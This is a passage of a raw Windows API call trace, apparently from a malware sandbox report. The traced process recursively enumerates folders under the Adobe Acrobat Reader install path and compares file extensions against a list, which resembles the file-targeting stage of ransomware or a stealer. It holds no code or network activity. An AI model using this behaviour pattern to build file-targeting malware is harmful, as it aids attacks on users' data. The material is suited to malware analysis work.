(lpString1=".dpx", lpString2="g.js") returned -1 [0286.865] lstrlenW (lpString=".dqy") returned 4 [0286.865] lstrcmpiW (lpString1=".dqy", lpString2="g.js") returned -1 [0286.865] lstrlenW (lpString=".dsn") returned 4 [0286.865] lstrcmpiW (lpString1=".dsn", lpString2="g.js") returned -1 [0286.865] lstrlenW (lpString=".dt") returned 3 [0286.865] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0286.865] lstrlenW (lpString=".dtd") returned 4 [0286.865] lstrcmpiW (lpString1=".dtd", lpString2="g.js") returned -1 [0286.865] lstrlenW (lpString=".dwg") returned 4 [0286.865] lstrcmpiW (lpString1=".dwg", lpString2="g.js") returned -1 [0286.865] lstrlenW (lpString=".dwt") returned 4 [0286.865] lstrcmpiW (lpString1=".dwt", lpString2="g.js") returned -1 [0286.866] lstrlenW (lpString=".dx") returned 3 [0286.866] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0286.866] lstrlenW (lpString=".dxf") returned 4 [0286.866] lstrcmpiW (lpString1=".dxf", lpString2="g.js") returned -1 [0286.866] lstrlenW (lpString=".edml") returned 5 [0286.866] lstrcmpiW (lpString1=".edml", lpString2="ig.js") returned -1 [0286.866] lstrlenW (lpString=".efd") returned 4 [0286.866] lstrcmpiW (lpString1=".efd", lpString2="g.js") returned -1 [0286.866] lstrlenW (lpString=".elf") returned 4 [0286.866] lstrcmpiW (lpString1=".elf", lpString2="g.js") returned -1 [0286.866] lstrlenW (lpString=".emf") returned 4 [0286.866] lstrcmpiW (lpString1=".emf", lpString2="g.js") returned -1 [0286.866] lstrlenW (lpString=".emz") returned 4 [0286.866] lstrcmpiW (lpString1=".emz", lpString2="g.js") returned -1 [0286.866] lstrlenW (lpString=".epf") returned 4 [0286.866] lstrcmpiW (lpString1=".epf", lpString2="g.js") returned -1 [0286.866] lstrlenW (lpString=".eps") returned 4 [0286.866] lstrcmpiW (lpString1=".eps", lpString2="g.js") returned -1 [0286.866] lstrlenW (lpString=".epsf") returned 5 [0286.866] lstrcmpiW (lpString1=".epsf", lpString2="ig.js") returned -1 [0286.866] lstrlenW (lpString=".epsp") returned 5 [0286.867] FindNextFileW (in: hFindFile=0x380c320, lpFindFileData=0x2e5e918 | out: lpFindFileData=0x2e5e918) returned 1 [0286.867] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x44e0730 [0286.867] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core") returned 91 [0286.867] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\*", lpFindFileData=0x2e5e69c | out: lpFindFileData=0x2e5e69c) returned 0x380c2a0 [0286.912] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5e69c | out: lpFindFileData=0x2e5e69c) returned 1 [0286.912] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5e69c | out: lpFindFileData=0x2e5e69c) returned 1 [0286.912] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4630f28 [0286.913] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\*", lpFindFileData=0x2e5e420 | out: lpFindFileData=0x2e5e420) returned 0x380bd60 [0286.913] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5e420 | out: lpFindFileData=0x2e5e420) returned 1 [0286.913] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5e420 | out: lpFindFileData=0x2e5e420) returned 1 [0286.913] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4671f70 [0286.914] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\*", lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 0x380bc20 [0286.934] FindNextFileW (in: hFindFile=0x380bc20, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0286.934] FindNextFileW (in: hFindFile=0x380bc20, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0286.934] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4640f30 [0286.934] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ar-ae\\*", lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0x380bc60 [0286.935] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0286.936] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0 [0286.936] FindClose (in: hFindFile=0x380bc60 | out: hFindFile=0x380bc60) returned 1 [0286.936] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0286.936] FindNextFileW (in: hFindFile=0x380bc20, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0286.936] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4640f30 [0286.936] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ca-es\\*", lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0x380bc60 [0286.937] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0286.937] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0286.937] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0 [0286.937] FindClose (in: hFindFile=0x380bc60 | out: hFindFile=0x380bc60) returned 1 [0286.937] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0286.937] FindNextFileW (in: hFindFile=0x380bc20, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0286.937] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4640f30 [0286.937] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\cs-cz\\*", lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0x380c220 [0286.938] FindNextFileW (in: hFindFile=0x380c220, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0286.938] FindNextFileW (in: hFindFile=0x380c220, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0286.938] FindNextFileW (in: hFindFile=0x380c220, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0 [0286.938] FindClose (in: hFindFile=0x380c220 | out: hFindFile=0x380c220) returned 1 [0286.938] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0286.938] FindNextFileW (in: hFindFile=0x380bc20, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0286.938] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4640f30 [0286.939] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\da-dk\\*", lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0x380c220 [0286.939] FindNextFileW (in: hFindFile=0x380c220, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0286.939] FindNextFileW (in: hFindFile=0x380c220, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0286.939] FindNextFileW (in: hFindFile=0x380c220, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0 [0286.939] FindClose (in: hFindFile=0x380c220 | out: hFindFile=0x380c220) returned 1 [0286.939] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0286.939] FindNextFileW (in: hFindFile=0x380bc20, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0286.940] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4640f30 [0286.940] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\de-de\\*", lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0x380bc60 [0286.941] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0286.941] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0286.941] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0 [0286.941] FindClose (in: hFindFile=0x380bc60 | out: hFindFile=0x380bc60) returned 1 [0287.083] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0287.083] FindNextFileW (in: hFindFile=0x380bc20, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0287.083] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4640f30 [0287.083] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\en-ae\\*", lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0x380bc60 [0287.150] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0287.150] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0287.150] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0 [0287.150] FindClose (in: hFindFile=0x380bc60 | out: hFindFile=0x380bc60) returned 1 [0287.150] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0287.150] FindNextFileW (in: hFindFile=0x380bc20, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0287.150] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4640f30 [0287.150] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\en-gb\\*", lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0x380bda0 [0287.150] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0287.150] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0287.151] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0 [0287.151] FindClose (in: hFindFile=0x380bda0 | out: hFindFile=0x380bda0) returned 1 [0287.151] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0287.151] FindNextFileW (in: hFindFile=0x380bc20, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0287.151] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4640f30 [0287.151] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\en-il\\*", lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0x380bc60 [0287.151] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0287.151] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0287.151] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0 [0287.151] FindClose (in: hFindFile=0x380bc60 | out: hFindFile=0x380bc60) returned 1 [0287.151] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0287.151] FindNextFileW (in: hFindFile=0x380bc20, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0287.151] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4640f30 [0287.151] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\es-es\\*", lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0x380bda0 [0287.152] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0287.152] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0287.152] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0 [0287.152] FindClose (in: hFindFile=0x380bda0 | out: hFindFile=0x380bda0) returned 1 [0287.152] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0287.152] FindNextFileW (in: hFindFile=0x380bc20, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0287.152] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4640f30 [0287.152] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\eu-es\\*", lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0x380bc60 [0287.152] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0287.152] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0287.152] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0 [0287.152] FindClose (in: hFindFile=0x380bc60 | out: hFindFile=0x380bc60) returned 1 [0287.153] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0287.153] FindNextFileW (in: hFindFile=0x380bc20, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0287.153] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4640f30 [0287.153] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\fi-fi\\*", lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0x380bc60 [0287.153] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0287.153] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0287.153] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0 [0287.153] FindClose (in: hFindFile=0x380bc60 | out: hFindFile=0x380bc60) returned 1 [0287.153] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0287.153] FindNextFileW (in: hFindFile=0x380bc20, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0287.153] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4640f30 [0287.153] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\fr-fr\\*", lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0x380bc60 [0287.153] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0287.153] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0287.153] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0 [0287.153] FindClose (in: hFindFile=0x380bc60 | out: hFindFile=0x380bc60) returned 1 [0287.154] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0287.154] FindNextFileW (in: hFindFile=0x380bc20, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0287.154] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4640f30 [0287.154] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\fr-ma\\*", lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0x380bc60 [0287.154] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0287.154] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0287.154] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0 [0287.154] FindClose (in: hFindFile=0x380bc60 | out: hFindFile=0x380bc60) returned 1 [0287.154] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0287.154] FindNextFileW (in: hFindFile=0x380bc20, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0287.154] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4640f30 [0287.154] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\he-il\\*", lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0x380bc60 [0287.154] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0287.154] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0 [0287.154] FindClose (in: hFindFile=0x380bc60 | out: hFindFile=0x380bc60) returned 1 [0287.154] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0287.155] FindNextFileW (in: hFindFile=0x380bc20, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0287.155] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4640f30 [0287.155] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\hr-hr\\*", lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0x380bc60 [0287.155] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0287.155] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0287.155] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0 [0287.155] FindClose (in: hFindFile=0x380bc60 | out: hFindFile=0x380bc60) returned 1 [0287.155] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0287.155] FindNextFileW (in: hFindFile=0x380bc20, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0287.155] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4640f30 [0287.155] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\hu-hu\\*", lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0x380bda0 [0287.155] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0287.155] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0287.155] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0 [0287.155] FindClose (in: hFindFile=0x380bda0 | out: hFindFile=0x380bda0) returned 1 [0287.156] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0287.156] FindNextFileW (in: hFindFile=0x380bc20, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0287.156] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4640f30 [0287.156] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\it-it\\*", lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0x380bc60 [0287.156] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0287.156] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0287.156] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0 [0287.156] FindClose (in: hFindFile=0x380bc60 | out: hFindFile=0x380bc60) returned 1 [0287.156] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0287.156] FindNextFileW (in: hFindFile=0x380bc20, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0287.156] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4640f30 [0287.156] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ja-jp\\*", lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0x380bc60 [0287.157] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0287.157] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0287.157] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0 [0287.157] FindClose (in: hFindFile=0x380bc60 | out: hFindFile=0x380bc60) returned 1 [0287.157] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0287.157] FindNextFileW (in: hFindFile=0x380bc20, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0287.157] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4640f30 [0287.157] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ko-kr\\*", lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0x380bc60 [0287.157] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0287.157] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0287.157] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0 [0287.157] FindClose (in: hFindFile=0x380bc60 | out: hFindFile=0x380bc60) returned 1 [0287.158] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0287.158] FindNextFileW (in: hFindFile=0x380bc20, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0287.158] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4640f30 [0287.158] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\nb-no\\*", lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0x380bc60 [0287.158] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0287.158] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0287.158] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0 [0287.158] FindClose (in: hFindFile=0x380bc60 | out: hFindFile=0x380bc60) returned 1 [0287.158] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0287.158] FindNextFileW (in: hFindFile=0x380bc20, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0287.158] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4640f30 [0287.158] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\nl-nl\\*", lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0x380bc60 [0287.159] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0287.159] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0287.159] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0 [0287.159] FindClose (in: hFindFile=0x380bc60 | out: hFindFile=0x380bc60) returned 1 [0287.159] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0287.159] FindNextFileW (in: hFindFile=0x380bc20, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0287.159] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4640f30 [0287.159] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\pl-pl\\*", lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0x380bc60 [0287.159] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0287.159] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0287.159] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0 [0287.159] FindClose (in: hFindFile=0x380bc60 | out: hFindFile=0x380bc60) returned 1 [0287.160] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0287.160] FindNextFileW (in: 